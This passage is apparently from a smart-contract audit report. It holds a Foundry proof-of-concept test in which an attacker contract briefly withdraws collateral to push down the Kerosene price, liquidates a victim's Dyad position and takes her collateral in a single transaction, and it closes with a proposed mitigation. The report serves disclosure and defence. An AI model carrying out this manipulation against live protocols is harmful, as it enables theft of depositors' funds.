        ethVaultV2 = contracts.ethVault;
        wstEthV2 = contracts.wstEth;
        kerosineManagerV2 = contracts.kerosineManager;
        unboundedKerosineVaultV2 = contracts.unboundedKerosineVault;
        boundedKerosineVaultV2 = contracts.boundedKerosineVault;
        kerosineDenominatorV2 = contracts.kerosineDenominator;
        wethOracleV2 = newWethOracle;

        vm.startPrank(MAINNET_OWNER);
        Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(vaultManagerV2));
        boundedKerosineVaultV2.setUnboundedKerosineVault(unboundedKerosineVaultV2);
        vm.stopPrank();
    }

    function test_FlashKeroseneValueManipulation() public {
        setUpV2();

        // Initial setup
        Attack attackContract = new Attack();

        vm.prank(MAINNET_OWNER);
        keroseneV2.transfer(alice, 25_000e18);

        deal(MAINNET_WETH, address(attackContract), 500e18);
        deal(MAINNET_WETH, alice, 5e18);
        deal(MAINNET_WETH, address(ethVaultV2), 2_000e18);

        uint256 bobNFT = dNFT.mintNft{value: 1 ether}(bob);
        uint256 aliceNFT = dNFT.mintNft{value: 1 ether}(alice);

        // Bob (attacker) initializes the attack contract
        // Sends the NFT to the attack contract
        // Attack contract adds Weth and Unbounded Kerosene vaults to the NFT
        // Attack contract deposits 500 Weth
        vm.startPrank(bob);
        dNFT.transferFrom(bob, address(attackContract), bobNFT);
        attackContract.initialize(
            address(wrappedETH),
            address(keroseneV2),
            address(vaultManagerV2),
            bobNFT,
            address(ethVaultV2),
            address(unboundedKerosineVaultV2)
        );
        attackContract.addVaultsAndDeposit(500e18);
        vm.stopPrank();

        // Alice (victim) adds Weth and Unbounded Kerosene vaults to her NFT
        // Alice deposits 3.2 Weth and 25,000 Kerosene
        // Alice mints 9,000 Dyad
        vm.startPrank(alice);
        wrappedETH.approve(address(vaultManagerV2), type(uint256).max);
        keroseneV2.approve(address(vaultManagerV2), type(uint256).max);
        vaultManagerV2.add(aliceNFT, address(ethVaultV2));
        vaultManagerV2.addKerosene(aliceNFT, address(unboundedKerosineVaultV2));
        vaultManagerV2.deposit(aliceNFT, address(ethVaultV2), 3.2e18);
        vaultManagerV2.deposit(aliceNFT, address(unboundedKerosineVaultV2), 25_000e18);
        vaultManagerV2.mintDyad(aliceNFT, 9_000e18, alice);
        vm.stopPrank();

        // Block passes
        vm.roll(1);

        // Bob's position has around 1.58M USD value
        // Alice's position has around 13K USD value
        assertGt(vaultManagerV2.getTotalUsdValue(bobNFT), 1_580_000e18);
        assertGt(vaultManagerV2.getTotalUsdValue(aliceNFT), 13_000e18);

        // Bob fires the attack targeting Alice's position
        // Attack contract mints the same amount of Dyad as Alice's (9,000 Dyad)
        // Attack contract withdraws the remaining collateral (500 Weth - 9,000 Dyad =~ 490 Weth)
        // At this point the Kerosene price has dropped significantly in value, putting Alice's position at risk (liquidatable)
        // Alice's position is liquidated - Bob's position takes Alice's collateral
        // Attack contract deposits back the withdrawn collateral (490 Weth)
        // The Kerosene price is back up
        vm.prank(bob);
        attackContract.attack(aliceNFT, 9_000e18, 490e18);

        // Bob's position has around 1.59M USD value
        // Alice's position has around 4K USD value
        // Bob's position has taken Alice's collateral in a single TX
        assertGt(vaultManagerV2.getTotalUsdValue(bobNFT), 1_590_000e18);
        assertLt(vaultManagerV2.getTotalUsdValue(aliceNFT), 4_000e18);
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

Withdraw -> deposit in the same block should be blocked.

Assessed type

Other